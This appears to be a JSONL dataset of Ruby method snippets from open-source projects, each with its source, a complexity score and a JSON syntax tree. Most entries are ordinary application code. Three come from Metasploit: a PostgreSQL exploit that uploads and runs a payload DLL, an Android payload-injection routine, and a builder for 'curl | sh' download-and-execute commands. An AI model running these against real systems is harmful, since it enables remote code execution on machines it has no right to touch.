end","complexity_score":49.05,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"postgres_conn=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"client\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"do_login\",{\"type\":\"send\",\"children\":[null,\"username\"]},{\"type\":\"send\",\"children\":[null,\"password\"]},{\"type\":\"send\",\"children\":[null,\"database\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"noauth\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Authentication failed\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"noconn\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Connection failed\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"postgres_conn\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"postgres_conn\"]},\"peerport\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\".dll\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_files_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"fname\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"postgres_upload_binary_data\",{\"type\":\"send\",\"children\":[null,\"generate_payload_dll\"]},{\"type\":\"lvar\",\"children\":[\"fname\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Could not upload the UDF DLL\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Uploaded as \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"func_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[null,\"postgres_query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"create or replace function pg_temp.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"func_name\"]}]},{\"type\":\"str\",\"children\":[\"()\"]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" returns void as '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]}]},{\"type\":\"str\",\"children\":[\"','\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"func_name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\" language c strict immutable\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to create UDF function: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@postgres_conn\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[null,\"postgres_logout\"]},null]}]}]}","id":"d57d8522-97e3-49d0-ac0c-73e3631ab9c5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/references/external_issue_reference_filter.rb","start_line":66,"raw_source":"def object_link_filter(text, pattern, link_content: nil, link_reference: false)\n          references_in(text) do |match, id|\n            klass = reference_class(:issue)\n            data  = data_attribute(project: project.id, external_issue: id)\n            content = link_content || match\n\n            write_opening_tag(\"a\", {\n              \"title\" => issue_title,\n              \"class\" => klass,\n              **data\n            }) << content.to_s << \"</a>\"\n          end\n        end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"object_link_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"pattern\"]},{\"type\":\"kwoptarg\",\"children\":[\"link_content\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"link_reference\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"references_in\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]},{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[null,\"reference_class\",{\"type\":\"sym\",\"children\":[\"issue\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"data_attribute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_issue\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_content\"]},{\"type\":\"lvar\",\"children\":[\"match\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_opening_tag\",{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"issue_title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"class\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"to_s\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"</a>\"]}]}]}]}]}","id":"b30cf025-753c-4c9f-8534-06e3490d9390"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/transfer_service.rb","start_line":310,"raw_source":"def update_pending_builds\n      ::Ci::PendingBuilds::UpdateGroupWorker.perform_async(group.id, pending_builds_params.stringify_keys)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_pending_builds\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"PendingBuilds\"]},\"UpdateGroupWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pending_builds_params\"]},\"stringify_keys\"]}]}]}","id":"c3d2b1dc-0718-444e-aaa6-19c952ab77ec"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/compat_parameters.rb","start_line":327,"raw_source":"def compat_parameters_copy_to_subsection_attributes(conf, params, &block)\n        hash = {}\n        params.each do |compat, current|\n          next unless current\n          if conf.has_key?(compat)\n            if block_given?\n              hash[current] = block.call(compat, conf[compat])\n            else\n              hash[current] = conf[compat]\n            end\n          end\n        end\n        hash\n      end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"compat_parameters_copy_to_subsection_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]},{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"compat\"]},{\"type\":\"arg\",\"children\":[\"current\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"compat\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"current\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"compat\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"compat\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"current\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"compat\"]}]}]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}","id":"5979aa45-a23e-43cc-903d-1338c650d599"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/repositories/lfs_api_controller.rb","start_line":103,"raw_source":"def direct_download_actions(lfs_object)\n      {\n        download: {\n          href: lfs_object.file.url(\n            content_type: \"application/octet-stream\",\n            expire_at: LFS_DIRECT_BATCH_EXPIRE_IN.since\n          )\n        }\n      }\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"direct_download_actions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lfs_object\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"download\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lfs_object\"]},\"file\"]},\"url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expire_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LFS_DIRECT_BATCH_EXPIRE_IN\"]},\"since\"]}]}]}]}]}]}]}]}]}","id":"4e7207cf-1973-43b7-aa5c-20daa977fffc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/android/local/koffee.rb","start_line":84,"raw_source":"def send_custom(m_cmd)\n    cmd = \"#{datastore['MICOMD']} -c inject #{m_cmd}\"\n    var = 0\n    while var < datastore['NUM_MSG'].to_s.to_i\n      cmd_exec(cmd)\n      var += 1\n      print_status(\"> Sending #{var} out of #{datastore['NUM_MSG']}\")\n      sleep(datastore['PERIOD'].to_s.to_f)\n    end\n    print_good(' -- Custom payload Sent-- ')\n  end","complexity_score":29.85,"ast_json":"{\"type\":\"def\",\"children\":[\"send_custom\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m_cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MICOMD\"]}]}]},{\"type\":\"str\",\"children\":[\" -c inject \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m_cmd\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NUM_MSG\"]}]},\"to_s\"]},\"to_i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"var\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"> Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]}]},{\"type\":\"str\",\"children\":[\" out of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NUM_MSG\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PERIOD\"]}]},\"to_s\"]},\"to_f\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\" -- Custom payload Sent-- \"]}]}]}]}","id":"bf686795-be9c-446a-9080-3a1db429ab51"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/versions/scopes/rolled_up.rb","start_line":38,"raw_source":"def rolled_up(project)\n        includes(:project)\n           .merge(Project.active)\n           .where(projects: { id: project.self_and_descendants.select(:id) })\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rolled_up\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"includes\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"active\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"self_and_descendants\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}]}","id":"e8220fd9-4689-4189-bf30-e46407a1a65e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/ownership_mixin.rb","start_line":98,"raw_source":"def group_owned(miq_group)\n      where(arel_table.grouping(arel_table.lower(arel_table[:owning_ldap_group]).eq(miq_group.description.downcase)))\n    end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"group_owned\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"miq_group\"]}]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arel_table\"]},\"grouping\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arel_table\"]},\"lower\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"owning_ldap_group\"]}]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_group\"]},\"description\"]},\"downcase\"]}]}]}]}]}","id":"f156b443-ca60-402d-9b27-0fb377629169"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/process_hashtags_service.rb","start_line":4,"raw_source":"def call(status, raw_tags = [])\n    @status        = status\n    @account       = status.account\n    @raw_tags      = status.local? ? Extractor.extract_hashtags(status.text) : raw_tags\n    @previous_tags = status.tags.to_a\n    @current_tags  = []\n\n    assign_tags!\n    update_featured_tags!\n  end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"optarg\",\"children\":[\"raw_tags\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@status\",{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@account\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"account\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@raw_tags\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"local?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Extractor\"]},\"extract_hashtags\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"text\"]}]},{\"type\":\"lvar\",\"children\":[\"raw_tags\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@previous_tags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"tags\"]},\"to_a\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_tags\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assign_tags!\"]},{\"type\":\"send\",\"children\":[null,\"update_featured_tags!\"]}]}]}","id":"3c7f7ab1-f91a-4e2d-a53a-d3a6167fdf05"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/insert_all_test.rb","start_line":92,"raw_source":"def test_insert_all_raises_on_duplicate_records\n    assert_raise ActiveRecord::RecordNotUnique do\n      Book.insert_all! [\n        { name: \"Rework\", author_id: 1 },\n        { name: \"Patterns of Enterprise Application Architecture\", author_id: 1 },\n        { name: \"Agile Web Development with Rails\", author_id: 1 },\n      ]\n    end\n  end","complexity_score":4.08,"ast_json":"{\"type\":\"def\",\"children\":[\"test_insert_all_raises_on_duplicate_records\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotUnique\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"insert_all!\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Rework\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Patterns of Enterprise Application Architecture\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Agile Web Development with Rails\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"092b26ea-1452-4f05-9a13-f7e6e0e90e02"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline.rb","start_line":572,"raw_source":"def self.latest_running_for_ref(ref)\n      newest_first(ref: ref).running.take\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"latest_running_for_ref\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"newest_first\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}]},\"running\"]},\"take\"]}]}","id":"5f10b209-b8e6-448f-8b0d-97eeb19757ad"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/themes/create.rb","start_line":70,"raw_source":"def ensure_remote_themes_are_not_allowlisted\n    Theme.allowed_remote_theme_ids.nil?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_remote_themes_are_not_allowlisted\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Theme\"]},\"allowed_remote_theme_ids\"]},\"nil?\"]}]}","id":"3c592a4d-37f0-4985-8013-a28f0694757e"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/lib/open_project/journal_formatter/project_status_code_spec.rb","start_line":34,"raw_source":"def status_code_as_integer(status)\n    Project.status_codes.fetch(status, nil)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"status_code_as_integer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"status_codes\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"f601b4ee-1d33-4e68-8a6d-3475cc036fbd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/starred_projects_finder.rb","start_line":16,"raw_source":"def execute\n    # Do not show starred projects if the user has a private profile.\n    return Project.none unless can?(current_user, :read_user_profile, @user)\n\n    super\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_user_profile\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"none\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"57ef8d0b-87bc-4121-bf3b-d28543d59eb7"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/bot_processor_service.rb","start_line":34,"raw_source":"def message_content(message)\n    # TODO: might needs to change this to a way that we fetch the updated value from event data instead\n    # cause the message.updated event could be that that the message was deleted\n\n    return message.content_attributes['submitted_values']&.first&.dig('value') if event_name == 'message.updated'\n\n    message.content\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"message_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"message.updated\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"content_attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"submitted_values\"]}]},\"first\"]},\"dig\",{\"type\":\"str\",\"children\":[\"value\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"content\"]}]}]}","id":"7d14ab1e-1ed3-41e7-8fcf-87e3bf524aff"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/adapter/fetch.rb","start_line":330,"raw_source":"def _generate_curl_pipe\n    execute_cmd = 'sh'\n    execute_cmd = 'cmd' if windows?\n    case fetch_protocol\n    when 'HTTP'\n      return \"curl -s http://#{_download_pipe}|#{execute_cmd}\"\n    when 'HTTPS'\n      return \"curl -sk https://#{_download_pipe}|#{execute_cmd}\"\n    else\n      fail_with(Msf::Module::Failure::BadConfig, \"Unsupported protocol: #{fetch_protocol.inspect}\")\n    end\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"_generate_curl_pipe\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"execute_cmd\",{\"type\":\"str\",\"children\":[\"sh\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"windows?\"]},{\"type\":\"lvasgn\",\"children\":[\"execute_cmd\",{\"type\":\"str\",\"children\":[\"cmd\"]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_protocol\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP\"]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"curl -s http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_download_pipe\"]}]},{\"type\":\"str\",\"children\":[\"|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"execute_cmd\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTPS\"]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"curl -sk https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_download_pipe\"]}]},{\"type\":\"str\",\"children\":[\"|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"execute_cmd\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported protocol: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_protocol\"]},\"inspect\"]}]}]}]}]}]}]}","id":"f5c2fa95-d1d6-4b39-9692-71e5e0694a25"}
